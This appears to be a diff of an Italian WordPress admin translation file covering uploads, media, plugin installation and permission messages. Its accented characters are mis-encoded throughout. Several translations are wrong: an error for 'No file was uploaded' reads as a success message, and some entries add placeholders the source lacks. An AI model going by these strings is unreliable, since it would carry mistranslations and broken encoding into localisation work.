+#: wp-admin/includes/file.php:22
+#: wp-admin/plugin-install.php:26
+#: wp-admin/theme-install.php:31
+msgid "Search Results"
+msgstr "Risultati della ricerca"
+
+#: wp-admin/includes/file.php:23
+msgid "Search Form"
+msgstr "Modulo di ricerca"
+
+#: wp-admin/includes/file.php:24
+msgid "Single Post"
+msgstr "Articolo singolo"
+
+#: wp-admin/includes/file.php:25
+msgid "404 Template"
+msgstr "Template 404"
+
+#: wp-admin/includes/file.php:26
+msgid "Links Template"
+msgstr "Template link"
+
+#: wp-admin/includes/file.php:27
+msgid "Theme Functions"
+msgstr "Funzioni tema"
+
+#: wp-admin/includes/file.php:28
+msgid "Attachment Template"
+msgstr "Template allegati"
+
+#: wp-admin/includes/file.php:29
+msgid "Image Attachment Template"
+msgstr "Template allegato immagine"
+
+#: wp-admin/includes/file.php:30
+msgid "Video Attachment Template"
+msgstr "Template allegato video"
+
+#: wp-admin/includes/file.php:31
+msgid "Audio Attachment Template"
+msgstr "Template allegato audio"
+
+#: wp-admin/includes/file.php:32
+msgid "Application Attachment Template"
+msgstr "Template allegato applicazioni"
+
+#: wp-admin/includes/file.php:33
+msgid "my-hacks.php (legacy hacks support)"
+msgstr "my-hacks.php (supporto standard agli hack)"
+
+#: wp-admin/includes/file.php:34
+msgid ".htaccess (for rewrite rules )"
+msgstr ".htaccess (per le regole di riscrittura)"
+
+#: wp-admin/includes/file.php:36
+msgid "Comments Template"
+msgstr "Template commenti"
+
+#: wp-admin/includes/file.php:36
+msgid "Popup Comments Template"
+msgstr "Template commenti pop-up"
+
+#: wp-admin/includes/file.php:198
+msgid "Sorry, can&#8217;t edit files with &#8220;..&#8221; in the name. If you are trying to edit a file in your WordPress home directory, you can just type the name of the file in."
+msgstr "Non Ãš possibile modificare file contenenti &#8220;..&#8221; nel nome. Se si sta cercando di modificare un file contenuto nella directory principale di WordPress, si puÃ² scrivere qui il nome del file."
+
+#: wp-admin/includes/file.php:201
+msgid "Sorry, can&#8217;t call files with their real path."
+msgstr "Non Ãš possibile richiamare i file attraverso il loro percorso reale."
+
+#: wp-admin/includes/file.php:204
+msgid "Sorry, that file cannot be edited."
+msgstr "Questo file non puÃ² essere modificato."
+
+#: wp-admin/includes/file.php:236
+#: wp-admin/includes/file.php:344
+msgid "The uploaded file exceeds the <code>upload_max_filesize</code> directive in <code>php.ini</code>."
+msgstr "Il file caricato eccede la direttiva <code>upload_max_filesize</code> in <code>php.ini</code>."
+
+#: wp-admin/includes/file.php:237
+#: wp-admin/includes/file.php:345
+msgid "The uploaded file exceeds the <em>MAX_FILE_SIZE</em> directive that was specified in the HTML form."
+msgstr "Il file caricato eccede la direttiva <em>MAX_FILE_SIZE</em> specificata nel modulo HTML."
+
+#: wp-admin/includes/file.php:238
+#: wp-admin/includes/file.php:346
+msgid "The uploaded file was only partially uploaded."
+msgstr "Il file <code>%s</code> Ãš stato caricato solo parzialmente."
+
+#: wp-admin/includes/file.php:239
+#: wp-admin/includes/file.php:347
+msgid "No file was uploaded."
+msgstr "Il file <code>%s</code> Ãš stato caricato con successo!"
+
+#: wp-admin/includes/file.php:241
+#: wp-admin/includes/file.php:349
+msgid "Missing a temporary folder."
+msgstr "Manca una directory temporanea."
+
+#: wp-admin/includes/file.php:242
+#: wp-admin/includes/file.php:350
+msgid "Failed to write file to disk."
+msgstr "Impossibile scrivere il file su disco"
+
+#: wp-admin/includes/file.php:243
+#: wp-admin/includes/file.php:351
+msgid "File upload stopped by extension."
+msgstr "Caricamento file interrotto da una estensione."
+
+#: wp-admin/includes/file.php:259
+#: wp-admin/includes/file.php:367
+msgid "Invalid form submission."
+msgstr "Invio modulo non valido."
+
+#: wp-admin/includes/file.php:267
+#: wp-admin/includes/file.php:375
+msgid "File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini."
+msgstr "Il file Ãš vuoto. Caricare qualche cosa di piÃ¹ sostanziale. Questo errore potrebbe dipendere dal fatto che gli upload sono stati disabilitati nel file php.ini."
+
+#: wp-admin/includes/file.php:271
+msgid "Specified file failed upload test."
+msgstr "Fallito il test di caricamento del file specificato."
+
+#: wp-admin/includes/file.php:280
+#: wp-admin/includes/file.php:388
+msgid "File type does not meet security guidelines. Try another."
+msgstr "Il tipo di file non rientra nei limiti imposti dai criteri di sicurezza. Provane un altro."
+
+#: wp-admin/includes/file.php:379
+msgid "Specified file does not exist."
+msgstr "Il file specificato non esiste."
+
+#: wp-admin/includes/file.php:438
+msgid "Invalid URL Provided"
+msgstr "URL indicata non valida"
+
+#: wp-admin/includes/file.php:442
+#: wp-admin/includes/file.php:446
+msgid "Could not create Temporary file"
+msgstr "Impossibile creare il file temporaneo"
+
+#: wp-admin/includes/file.php:494
+msgid "Incompatible archive"
+msgstr "Archivi incompatibile"
+
+#: wp-admin/includes/file.php:497
+msgid "Empty archive"
+msgstr "Archivio vuoto"
+
+#: wp-admin/includes/file.php:506
+#: wp-admin/includes/file.php:524
+#: wp-admin/includes/file.php:569
+msgid "Could not create directory"
+msgstr "Impossibile creare la directory"
+
+#: wp-admin/includes/file.php:533
+#: wp-admin/includes/file.php:563
+msgid "Could not copy file"
+msgstr "Impossibile copiare il file"
+
+#: wp-admin/includes/file.php:723
+msgid "<strong>Error:</strong> There was an error connecting to the server, Please verify the settings are correct."
+msgstr "<strong>Errore:</strong> Si Ãš verificato un errore connettendosi al server, verificare che le impostazioni siano corrette."
+
+#: wp-admin/includes/file.php:745
+msgid "Connection Information"
+msgstr "Informazioni connessione"
+
+#: wp-admin/includes/file.php:746
+msgid "To perform the requested action, connection information is required."
+msgstr "Per eseguire l&#8217;azione richiesta, sono necessarie informazioni per la connessione."
+
+#: wp-admin/includes/file.php:750
+msgid "Hostname"
+msgstr "Nome host"
+
+#: wp-admin/includes/file.php:755
+#: wp-admin/includes/template.php:898
+#: wp-admin/install.php:129
+#: wp-admin/user-edit.php:187
+#: wp-admin/user-new.php:96
+#: wp-login.php:410
+#: wp-login.php:504
+msgid "Username"
+msgstr "Nome utente"
+
+#: wp-admin/includes/file.php:760
+#: wp-admin/includes/template.php:1079
+#: wp-admin/install.php:133
+#: wp-admin/options-writing.php:97
+#: wp-admin/user-new.php:119
+#: wp-login.php:508
+msgid "Password"
+msgstr "Password"
+
+#: wp-admin/includes/file.php:766
+msgid "Authentication Keys"
+msgstr "Chiavi di autenticazione"
+
+#: wp-admin/includes/file.php:768
+msgid "Public Key:"
+msgstr "Chiave pubblica:"
+
+#: wp-admin/includes/file.php:769
+msgid "Private Key:"
+msgstr "Chiave privata"
+
+#: wp-admin/includes/file.php:772
+msgid "Enter the location on the server where the keys are located. If a passphrase is needed, enter that in the password field above."
+msgstr "Inserire la posizione sul server dove sono posizionate le chiavi. Se fosse necessaria una passphrase , inserire tale password nel campo sottostante."
+
+#: wp-admin/includes/file.php:777
+#: wp-admin/includes/file.php:779
+msgid "Connection Type"
+msgstr "Tipo di connessione"
+
+#: wp-admin/includes/file.php:780
+msgid "FTP"
+msgstr "FTP"
+
+#: wp-admin/includes/file.php:782
+msgid "FTPS (SSL)"
+msgstr "FTPS (SSL)"
+
+#: wp-admin/includes/file.php:785
+msgid "SSH"
+msgstr "SSH"
+
+#: wp-admin/includes/file.php:799
+msgid "Proceed"
+msgstr "Procedi"
+
+#: wp-admin/includes/image.php:140
+#, php-format
+msgid "File &#8220;%s&#8221; doesn&#8217;t exist?"
+msgstr "Il file &#8220;%s&#8221; non esiste?"
+
+#: wp-admin/includes/image.php:143
+msgid "The GD image library is not installed."
+msgstr "La GD image library non Ãš installata."
+
+#: wp-admin/includes/image.php:150
+#, php-format
+msgid "File &#8220;%s&#8221; is not an image."
+msgstr "Il file &#8220;%s&#8221; non Ãš una immagine."
+
+#: wp-admin/includes/media.php:18
+msgid "From Computer"
+msgstr "Dal computer"
+
+#: wp-admin/includes/media.php:19
+msgid "From URL"
+msgstr "URL di provenienza"
+
+#: wp-admin/includes/media.php:20
+msgid "Gallery"
+msgstr "Galleria"
+
+#: wp-admin/includes/media.php:21
+#: wp-admin/upload.php:102
+msgid "Media Library"
+msgstr "Libreria media"
+
+#: wp-admin/includes/media.php:51
+#, php-format
+msgid "Gallery (%s)"
+msgstr "Galleria (%s)"
+
+#: wp-admin/includes/media.php:307
+msgid "Uploads"
+msgstr "Carica"
+
+#: wp-admin/includes/media.php:307
+#: wp-admin/includes/template.php:3336
+msgid "WordPress"
+msgstr "WordPress"
+
+#: wp-admin/includes/media.php:352
+#, php-format
+msgid "Upload/Insert %s"
+msgstr "Carica/Inserisci %s"
+
+#: wp-admin/includes/media.php:354
+#: wp-includes/js/tinymce/langs/wp-langs.php:412
+msgid "Add Media"
+msgstr "Aggiungi media"
+
+#: wp-admin/includes/media.php:356
+#: wp-includes/js/tinymce/langs/wp-langs.php:413
+msgid "Add an Image"
+msgstr "Aggiungi immagine"
+
+#: wp-admin/includes/media.php:358
+#: wp-includes/js/tinymce/langs/wp-langs.php:414
+msgid "Add Video"
+msgstr "Aggiungi video"
+
+#: wp-admin/includes/media.php:360
+#: wp-includes/js/tinymce/langs/wp-langs.php:415
+msgid "Add Audio"
+msgstr "Aggiungi audio"
+
+#: wp-admin/includes/media.php:495
+#: wp-admin/includes/media.php:587
+#: wp-admin/includes/media.php:641
+#: wp-admin/includes/media.php:695
+msgid "Saved."
+msgstr "Salvato."
+
+#: wp-admin/includes/media.php:760
+#: wp-admin/includes/media.php:1908
+#: wp-includes/js/tinymce/langs/wp-langs.php:43
+#: wp-includes/js/tinymce/langs/wp-langs.php:288
+#: wp-includes/js/tinymce/langs/wp-langs.php:385
+msgid "Left"
+msgstr "Sinistra"
+
+#: wp-admin/includes/media.php:760
+#: wp-admin/includes/media.php:1910
+#: wp-includes/js/tinymce/langs/wp-langs.php:44
+#: wp-includes/js/tinymce/langs/wp-langs.php:365
+#: wp-includes/js/tinymce/langs/wp-langs.php:386
+msgid "Center"
+msgstr "Centro"
+
+#: wp-admin/includes/media.php:760
+#: wp-admin/includes/media.php:1912
+#: wp-includes/js/tinymce/langs/wp-langs.php:45
+#: wp-includes/js/tinymce/langs/wp-langs.php:289
+#: wp-includes/js/tinymce/langs/wp-langs.php:383
+msgid "Right"
+msgstr "Destra"
+
+#: wp-admin/includes/media.php:786
+#: wp-includes/js/tinymce/langs/wp-langs.php:426
+msgid "Thumbnail"
+msgstr "Miniatura"
+
+#: wp-admin/includes/media.php:786
+#: wp-includes/js/tinymce/langs/wp-langs.php:427
+msgid "Medium"
+msgstr "Media"
+
+#: wp-admin/includes/media.php:786
+msgid "Large"
+msgstr "Grande"
+
+#: wp-admin/includes/media.php:786
+msgid "Full size"
+msgstr "Originale"
+
+#: wp-admin/includes/media.php:806
+#, php-format
+msgid "(%d&nbsp;&times;&nbsp;%d)"
+msgstr "(%d&nbsp;&times;&nbsp;%d)"
+
+#: wp-admin/includes/media.php:814
+#: wp-includes/js/tinymce/langs/wp-langs.php:425
+msgid "Size"
+msgstr "Dimensione"
+
+#: wp-admin/includes/media.php:842
+#: wp-admin/includes/media.php:1001
+msgid "File URL"
+msgstr "URL file"
+
+#: wp-admin/includes/media.php:843
+msgid "Post URL"
+msgstr "URL articolo"
+
+#: wp-admin/includes/media.php:863
+#: wp-admin/includes/media.php:982
+msgid "Caption"
+msgstr "Didascalia"
+
+#: wp-admin/includes/media.php:864
+#: wp-admin/includes/media.php:1869
+msgid "Also used as alternate text for the image"
+msgstr "Utilizzato anche come testo alternativo all&#8217;immagine"
+
+#: wp-admin/includes/media.php:869
+#: wp-admin/includes/media.php:1903
+#: wp-includes/js/tinymce/langs/wp-langs.php:42
+#: wp-includes/js/tinymce/langs/wp-langs.php:281
+msgid "Alignment"
+msgstr "Allineamento"
+
+#: wp-admin/includes/media.php:913
+msgid "Empty Title filled from filename."
+msgstr "Titolo vuoto riempito con il nome del file"
+
+#: wp-admin/includes/media.php:991
+#: wp-includes/js/tinymce/langs/wp-langs.php:291
+msgid "Link URL"
+msgstr "URL link"
+
+#: wp-admin/includes/media.php:994
+#: wp-admin/includes/media.php:1924
+#: wp-includes/js/tinymce/langs/wp-langs.php:431
+msgid "Enter a link URL or click above for presets."
+msgstr "Inserire una URL di collegamento o selezionare una di quelle predefinite."
+
+#: wp-admin/includes/media.php:1005
+msgid "Location of the uploaded file."
+msgstr "Collocazione dei file caricati."
+
+#: wp-admin/includes/media.php:1094
+#: wp-admin/includes/media.php:1586
+msgid "Show"
+msgstr "Visualizza"
+
+#: wp-admin/includes/media.php:1095
+#: wp-admin/includes/media.php:1587
+msgid "Hide"
+msgstr "Nascondi"
+
+#: wp-admin/includes/media.php:1171
+#: wp-admin/includes/media.php:1930
+#: wp-admin/includes/media.php:1966
+#: wp-admin/includes/media.php:2001
+#: wp-admin/includes/media.php:2036
+msgid "Insert into Post"
+msgstr "Inserisci nell&#8217;articolo"
+
+#: wp-admin/includes/media.php:1176
+#, php-format
+msgid "You are about to delete <strong>%s</strong>."
+msgstr "Si sta per cancellare <strong>%s</strong>."
+
+#: wp-admin/includes/media.php:1313
+msgid "Select Files"
+msgstr "Selezionare file"
+
+#: wp-admin/includes/media.php:1359
+msgid "Choose files to upload"
+msgstr "Selezionare un file da caricare"
+
+#: wp-admin/includes/media.php:1361
+msgid "Cancel Upload"
+msgstr "Annulla caricamento"
+
+#: wp-admin/includes/media.php:1364
+msgid "After a file has been uploaded, you can add titles and descriptions."
+msgstr "Dopo che un file Ãš stato caricato, sarÃ  possibile aggiungere titoli e descrizioni."
+
+#: wp-admin/includes/media.php:1376
+msgid "If you want to use all capabilities of the uploader, like uploading multiple files at once, please upgrade to lighttpd 1.5."
+msgstr "Se si desidera utilizzare tutte le funzionalitÃ  del sistema di upload, quali il caricamento di file multipli in una sola volta, si prega di aggiornarsi a lighttpd 1.5."
+
+#: wp-admin/includes/media.php:1406
+msgid "Add media files from your computer"
+msgstr "Aggiungi media file da un file sul proprio computer:"
+
+#: wp-admin/includes/media.php:1435
+#: wp-admin/includes/media.php:1609
+#: wp-admin/includes/media.php:1848
+#: wp-admin/media-upload.php:80
+msgid "Save all changes"
+msgstr "Salva tutte le modifiche"
+
+#: wp-admin/includes/media.php:1466
+msgid "Add media file from URL"
+msgstr "Aggiungi media file da URL"
+
+#: wp-admin/includes/media.php:1585
+msgid "All Tabs:"
+msgstr "Tutti i tab"
+
+#: wp-admin/includes/media.php:1589
+msgid "Sort Order:"
+msgstr "Ordinamento:"
+
+#: wp-admin/includes/media.php:1590
+#: wp-admin/includes/media.php:1657
+msgid "Ascending"
+msgstr "Ascendente"
+
+#: wp-admin/includes/media.php:1591
+#: wp-admin/includes/media.php:1660
+msgid "Descending"
+msgstr "Discendente"
+
+#: wp-admin/includes/media.php:1592
+#: wp-content/plugins/akismet/akismet.php:195
+msgid "Clear"
+msgstr "Pulisci"
+
+#: wp-admin/includes/media.php:1599
+#: wp-admin/menu.php:48
+#: wp-admin/menu.php:112
+msgid "Media"
+msgstr "Media"
+
+#: wp-admin/includes/media.php:1616
+msgid "Gallery Settings"
+msgstr "Impostazioni galleria"
+
+#: wp-admin/includes/media.php:1621
+msgid "Link thumbnails to:"
+msgstr "Link miniatura a:"
+
+#: wp-admin/includes/media.php:1626
+msgid "Image File"
+msgstr "File immagine"
+
+#: wp-admin/includes/media.php:1629
+msgid "Attachment Page"
+msgstr "Pagina allegato"
+
+#: wp-admin/includes/media.php:1636
+msgid "Order images by:"
+msgstr "Ordina immagini per:"
+
+#: wp-admin/includes/media.php:1641
+msgid "Menu order"
+msgstr "Ordinamento menu"
+
+#: wp-admin/includes/media.php:1643
+msgid "Date/Time"
+msgstr "Data/Ora"
+
+#: wp-admin/includes/media.php:1644
+msgid "Random"
+msgstr "Casuale"
+
+#: wp-admin/includes/media.php:1652
+msgid "Order:"
+msgstr "Ordinamento:"
+
+#: wp-admin/includes/media.php:1667
+msgid "Gallery columns:"
+msgstr "Colonne galleria:"
+
+#: wp-admin/includes/media.php:1672
+msgid "2"
+msgstr "2"
+
+#: wp-admin/includes/media.php:1673
+msgid "3"
+msgstr "3"
+
+#: wp-admin/includes/media.php:1674
+msgid "4"
+msgstr "4"
+
+#: wp-admin/includes/media.php:1675
+msgid "5"
+msgstr "5"
+
+#: wp-admin/includes/media.php:1676
+msgid "6"
+msgstr "6"
+
+#: wp-admin/includes/media.php:1677
+msgid "7"
+msgstr "7"
+
+#: wp-admin/includes/media.php:1678
+msgid "8"
+msgstr "8"
+
+#: wp-admin/includes/media.php:1679
+msgid "9"
+msgstr "9"
+
+#: wp-admin/includes/media.php:1686
+msgid "Insert gallery"
+msgstr "Inserisci galleria"
+
+#: wp-admin/includes/media.php:1687
+msgid "Update gallery settings"
+msgstr "Aggiorna impostazioni galleria."
+
+#: wp-admin/includes/media.php:1729
+#: wp-admin/includes/media.php:1731
+#: wp-admin/upload.php:212
+#: wp-admin/upload.php:214
+msgid "Search Media"
+msgstr "Cerca media"
+
+#: wp-admin/includes/media.php:1754
+msgid "All Types"
+msgstr "Tutti i tipi"
+
+#: wp-admin/includes/media.php:1818
+msgid "Filter &#187;"
+msgstr "Filtro &#187;"
+
+#: wp-admin/includes/media.php:1865
+msgid "Alternate Text"
+msgstr "Testo alternativo"
+
+#: wp-admin/includes/media.php:1866
+msgid "Alt text for the image, e.g. &#8220;The Mona Lisa&#8221;"
+msgstr "Testo alternativo per l&#8217;immagine, es. &#8220;La Monna Lisa&#8221;"
+
+#: wp-admin/includes/media.php:1868
+msgid "Image Caption"
+msgstr "Didascalia immagine"
+
+#: wp-admin/includes/media.php:1880
+#: wp-includes/js/tinymce/langs/wp-langs.php:274
+msgid "Image URL"
+msgstr "URL immagine"
+
+#: wp-admin/includes/media.php:1888
+msgid "Image Title"
+msgstr "Titolo immagine"
+
+#: wp-admin/includes/media.php:1918
+msgid "Link Image To:"
+msgstr "Link all&#8217;immagine:"
+
+#: wp-admin/includes/media.php:1923
+msgid "Link to image"
+msgstr "Link all&#8217;immagine"
+
+#: wp-admin/includes/media.php:1950
+msgid "Audio File URL"
+msgstr "URL file audio"
+
+#: wp-admin/includes/media.php:1962
+msgid "Link text, e.g. &#8220;Still Alive by Jonathan Coulton&#8221;"
+msgstr "Testo link, es. &#8220;Still Alive di Jonathan Coulton&#8221;"
+
+#: wp-admin/includes/media.php:1985
+msgid "Video URL"
+msgstr "URL video"
+
+#: wp-admin/includes/media.php:1997
+msgid "Link text, e.g. &#8220;Lucy on YouTube&#8220;"
+msgstr "Testo link, es. &#8220;Lucy su YouTube&#8220;"
+
+#: wp-admin/includes/media.php:2032
+msgid "Link text, e.g. &#8220;Ransom Demands (PDF)&#8221;"
+msgstr "Testo link, es.  &#8220;Richiesta di riscatto (PDF)&#8221;"
+
+#: wp-admin/includes/media.php:2068
+#, php-format
+msgid "You are using the Flash uploader.  Problems?  Try the <a href=\"%s\">Browser uploader</a> instead."
+msgstr "Si sta utilizzando l&#8217;uploader Flash. Provare in alternativa l&#8217;<a href=\"%s\">uploader del Browser</a>."
+
+#: wp-admin/includes/media.php:2079
+msgid "You are using the Browser uploader."
+msgstr "Si sta utilizzando il l&#8217;uploader del Browser."
+
+#: wp-admin/includes/media.php:2083
+#, php-format
+msgid "Try the <a href=\"%s\">Flash uploader</a> instead."
+msgstr "Provare in alternativa l&#8217;<a href=\"%s\">uploader Flash </a>."
+
+#: wp-admin/includes/plugin-install.php:43
+msgid "An Unexpected HTTP Error occurred during the API request.</p> <p><a href=\"?\" onclick=\"document.location.reload(); return false;\">Try again</a>"
+msgstr "Si Ãš verificato un errore HTTP inaspettato durante una richiesta API.</p> <p><a href=\"?\" onclick=\"document.location.reload(); return false;\">Riprovare</a>"
+
+#: wp-admin/includes/plugin-install.php:47
+msgid "An unknown error occurred"
+msgstr "Si Ãš verificato un errore non identificato"
+
+#: wp-admin/includes/plugin-install.php:127
+msgid "Plugins extend and expand the functionality of WordPress. You may automatically install plugins from the <a href=\"http://wordpress.org/extend/plugins/\">WordPress Plugin Directory</a> or upload a plugin in .zip format via this page."
+msgstr "I plugin estendono ed espandono le funzionalitÃ  di WordPress. Tramite questa pagina Ãš possibile installare automaticamente i plugin dalla <a href=\"http://wordpress.org/extend/plugins/\">WordPress Plugin Directory</a> o caricare un plugin in formato .zip."
+
+#: wp-admin/includes/plugin-install.php:129
+#: wp-admin/includes/template.php:3167
+#: wp-admin/includes/template.php:3169
+#: wp-admin/includes/theme-install.php:162
+#: wp-admin/plugin-install.php:24
+#: wp-admin/theme-install.php:29
+#: wp-content/plugins/akismet/akismet.php:693
+#: wp-content/themes/classic/sidebar.php:21
+#: wp-includes/default-widgets.php:176
+#: wp-includes/general-template.php:127
+msgid "Search"
+msgstr "Cerca"
+
+#: wp-admin/includes/plugin-install.php:130
+msgid "Search for plugins by keyword, author, or tag."
+msgstr "Ricerca plugin per parole chiave, autore o tag."
+
+#: wp-admin/includes/plugin-install.php:133
+msgid "Popular tags"
+msgstr "Tag piÃ¹ popolari"
+
+#: wp-admin/includes/plugin-install.php:134
+msgid "You may also browse based on the most popular tags in the Plugin Directory:"
+msgstr "&Egrave; possibile effettuare ricerche anche tramite i tag piÃ¹ popolari nella directory dei plugin:"
+
+#: wp-admin/includes/plugin-install.php:148
+#, php-format
+msgid "%d plugin"
+msgstr "%d plugin"
+
+#: wp-admin/includes/plugin-install.php:148
+#, php-format
+msgid "%d plugins"
+msgstr "%d plugin"
+
+#: wp-admin/includes/plugin-install.php:163
+#: wp-admin/includes/theme-install.php:157
+msgid "Term"
+msgstr "Termine"
+
+#: wp-admin/includes/plugin-install.php:165
+msgctxt "Plugin Installer"
+msgid "Tag"
+msgstr "Tag"
+
+#: wp-admin/includes/plugin-install.php:168
+#: wp-admin/includes/plugin-install.php:169
+#: wp-admin/plugins.php:482
+#: wp-admin/plugins.php:484
+msgid "Search Plugins"
+msgstr "Cerca plugin"
+
+#: wp-admin/includes/plugin-install.php:212
+msgid "Install a plugin in .zip format"
+msgstr "Installare un plugin in formato .zip"
+
+#: wp-admin/includes/plugin-install.php:213
+msgid "If you have a plugin in a .zip format, You may install it by uploading it here."
+msgstr "Se si dispone di un plugin in formato .zip, Ãš possibile installarlo caricandolo da qui."
+
+#: wp-admin/includes/plugin-install.php:216
+msgid "Plugin zip file"
+msgstr "File zip del plugin"
+
+#: wp-admin/includes/plugin-install.php:218
+#: wp-admin/includes/plugin-install.php:478
+#: wp-admin/includes/theme-install.php:284
+#: wp-admin/includes/theme-install.php:517
+#: wp-admin/tools.php:32
+msgid "Install Now"
+msgstr "Installa ora"
+
+#: wp-admin/includes/plugin-install.php:302
+#: wp-admin/includes/plugin-install.php:312
+#: wp-includes/js/tinymce/langs/wp-langs.php:257
+msgid "Version"
+msgstr "Versione"
+
+#: wp-admin/includes/plugin-install.php:305
+#: wp-admin/includes/plugin-install.php:315
+#: wp-includes/post-template.php:1341
+msgid "Actions"
+msgstr "Azioni"
+
+#: wp-admin/includes/plugin-install.php:322
+msgid "No plugins match your request."
+msgstr "Nessun plugin corrisponde alla ricerca."
+
+#: wp-admin/includes/plugin-install.php:346
+#: wp-admin/includes/plugin.php:130
+#: wp-admin/plugins.php:432
+#, php-format
+msgid "By %s"
+msgstr "Di %s"
+
+#: wp-admin/includes/plugin-install.php:364
+#: wp-admin/includes/plugin-install.php:522
+#: wp-admin/includes/plugin-install.php:530
+#: wp-admin/includes/theme-install.php:333
+#, php-format
+msgid "(based on %s rating)"
+msgid_plural "(based on %s ratings)"
+msgstr[0] "(basato su %s valutazione)"
+msgstr[1] "(basato su %s valutazioni)"
+
+#: wp-admin/includes/plugin-install.php:366
+#: wp-admin/includes/plugin-install.php:524
+#: wp-admin/includes/theme-install.php:335
+msgid "5 stars"
+msgstr "5 stelle"
+
+#: wp-admin/includes/plugin-install.php:367
+#: wp-admin/includes/plugin-install.php:525
+#: wp-admin/includes/theme-install.php:336
+msgid "4 stars"
+msgstr "4 stelle"
+
+#: wp-admin/includes/plugin-install.php:368
+#: wp-admin/includes/plugin-install.php:526
+#: wp-admin/includes/theme-install.php:337
+msgid "3 stars"
+msgstr "3 stelle"
+
+#: wp-admin/includes/plugin-install.php:369
+#: wp-admin/includes/plugin-install.php:527
+#: wp-admin/includes/theme-install.php:338
+msgid "2 stars"
+msgstr "2 stelle"
+
+#: wp-admin/includes/plugin-install.php:370
+#: wp-admin/includes/plugin-install.php:528
+#: wp-admin/includes/theme-install.php:339
+msgid "1 star"
+msgstr "1 stella"
+
+#: wp-admin/includes/plugin-install.php:422
+#: wp-admin/update.php:73
+msgid "Plugin Install"
+msgstr "Installa plugin"
+
+#: wp-admin/includes/plugin-install.php:483
+#: wp-admin/includes/theme-install.php:522
+msgid "Install Update Now"
+msgstr "Installa aggiornamento ora"
+
+#: wp-admin/includes/plugin-install.php:488
+#, php-format
+msgid "Newer Version (%s) Installed"
+msgstr "&Egrave; stata installata la nuova versione  (%s)"
+
+#: wp-admin/includes/plugin-install.php:493
+msgid "Latest Version Installed"
+msgstr "&Egrave; installata l'ultima versione"
+
+#: wp-admin/includes/plugin-install.php:499
+msgid "FYI"
+msgstr "FYI"
+
+#: wp-admin/includes/plugin-install.php:502
+#: wp-admin/includes/theme-install.php:322
+#: wp-includes/js/tinymce/wp-mce-help.php:242
+msgid "Version:"
+msgstr "Versione:"
+
+#: wp-admin/includes/plugin-install.php:504
+#: wp-admin/includes/theme-install.php:323
+msgid "Author:"
+msgstr "Autore:"
+
+#: wp-admin/includes/plugin-install.php:506
+#: wp-admin/includes/theme-install.php:325
+msgid "Last Updated:"
+msgstr "Ultimo aggiornamento:"
+
+#: wp-admin/includes/plugin-install.php:509
+#: wp-admin/includes/theme-install.php:327
+msgid "Requires WordPress Version:"
+msgstr "Richiede WordPress versione:"
+
+#: wp-admin/includes/plugin-install.php:509
+#: wp-admin/includes/theme-install.php:327
+#, php-format
+msgid "%s or higher"
+msgstr "%s o superiore"
+
+#: wp-admin/includes/plugin-install.php:511
+#: wp-admin/includes/theme-install.php:329
+msgid "Compatible up to:"
+msgstr "Compatibile sino a:"
+
+#: wp-admin/includes/plugin-install.php:513
+#: wp-admin/includes/theme-install.php:331
+msgid "Downloaded:"
+msgstr "Scaricato:"
+
+#: wp-admin/includes/plugin-install.php:513
+#: wp-admin/includes/theme-install.php:331
+#, php-format
+msgid "%s time"
+msgid_plural "%s times"
+msgstr[0] "%s volta"
+msgstr[1] "%s volte"
+
+#: wp-admin/includes/plugin-install.php:515
+msgid "WordPress.org Plugin Page &#187;"
+msgstr "WordPress.org Plugin Page &#187;"
+
+#: wp-admin/includes/plugin-install.php:517
+msgid "Plugin Homepage  &#187;"
+msgstr "Homepage  del plugin &#187;"
+
+#: wp-admin/includes/plugin-install.php:521
+msgid "Average Rating"
+msgstr "Valutazione media"
+
+#: wp-admin/includes/plugin-install.php:536
+msgid "<strong>Warning:</strong> This plugin has <strong>not been tested</strong> with your current version of WordPress."
+msgstr "<strong>Attenzione:</strong> questo plugin <strong>non Ãš stato provato</strong> con la versione corrente di WordPress."
+
+#: wp-admin/includes/plugin-install.php:539
+msgid "<strong>Warning:</strong> This plugin has <strong>not been marked as compatible</strong> with your version of WordPress."
+msgstr "<strong>Attenzione:</strong> questo plugin <strong>non risulta contrassegnato come compatibile</strong> per la versione corrente di WordPress."
+
+#: wp-admin/includes/plugin.php:121
+msgid "Visit plugin homepage"
+msgstr "Visita la homepage del plugin"
+
+#: wp-admin/includes/plugin.php:126
+#: wp-admin/plugins.php:431
+#: wp-includes/theme.php:226
+msgid "Visit author homepage"
+msgstr "Visita la homepage dell&#8217;autore"
+
+#: wp-admin/includes/plugin.php:382
+msgid "One of the plugins is invalid."
+msgstr "Uno dei plugin non Ãš valido"
+
+#: wp-admin/includes/plugin.php:468
+#, php-format
+msgid "Could not fully remove the plugin(s) %s"
+msgstr "Impossibile rimuovere completamente il/i plugin %s"
+
+#: wp-admin/includes/plugin.php:516
+msgid "Invalid plugin path."
+msgstr "Percorso del plugin non valido."
+
+#: wp-admin/includes/plugin.php:518
+msgid "Plugin file does not exist."
+msgstr "Il file del plugin non esiste."
+
+#: wp-admin/includes/plugin.php:522
+msgid "The plugin does not have a valid header."
+msgstr "Il file del plugin non ha una testata valida."
+
+#: wp-admin/includes/post.php:48
+msgid "You are not allowed to edit pages as this user."
+msgstr "Non si dispone del permesso per modificare le pagine con questo nome utente."
+
+#: wp-admin/includes/post.php:49
+msgid "You are not allowed to create pages as this user."
+msgstr "Non si dispone del permesso per creare pagine con questo nome utente."
+
+#: wp-admin/includes/post.php:55
+msgid "You are not allowed to edit posts as this user."
+msgstr "Non si dispone del permesso per modificare gli articoli con questo nome utente."
+
+#: wp-admin/includes/post.php:56
+msgid "You are not allowed to post as this user."
+msgstr "Non si dispone del permesso per pubblicare articoli con questo nome utente."
+
+#: wp-admin/includes/post.php:233
+msgid "You are not allowed to edit pages."
+msgstr "Non si dispone del permesso per modificare le pagine."
+
+#: wp-admin/includes/post.php:236
+msgid "You are not allowed to edit posts."
+msgstr "Non si dispone del permesso per modificare gli articoli."
+
+#: wp-admin/includes/post.php:453
+msgid "You are not allowed to create pages on this blog."
+msgstr "Non si dispone del permesso per creare pagine su questo blog."
+
+#: wp-admin/includes/post.php:456
+msgid "You are not allowed to create posts or drafts on this blog."
+msgstr "Non si dispone del permesso per creare articoli o bozze su questo blog."
+
+#: wp-admin/includes/post.php:793
+msgctxt "post"
+msgid "Published"
+msgstr "Pubblicato"
+
+#: wp-admin/includes/post.php:793
+msgid "Published posts"
+msgstr "Articoli pubblicati"
+
+#: wp-admin/includes/post.php:793
+#, php-format
+msgid "Published <span class=\"count\">(%s)</span>"
+msgid_plural "Published <span class=\"count\">(%s)</span>"
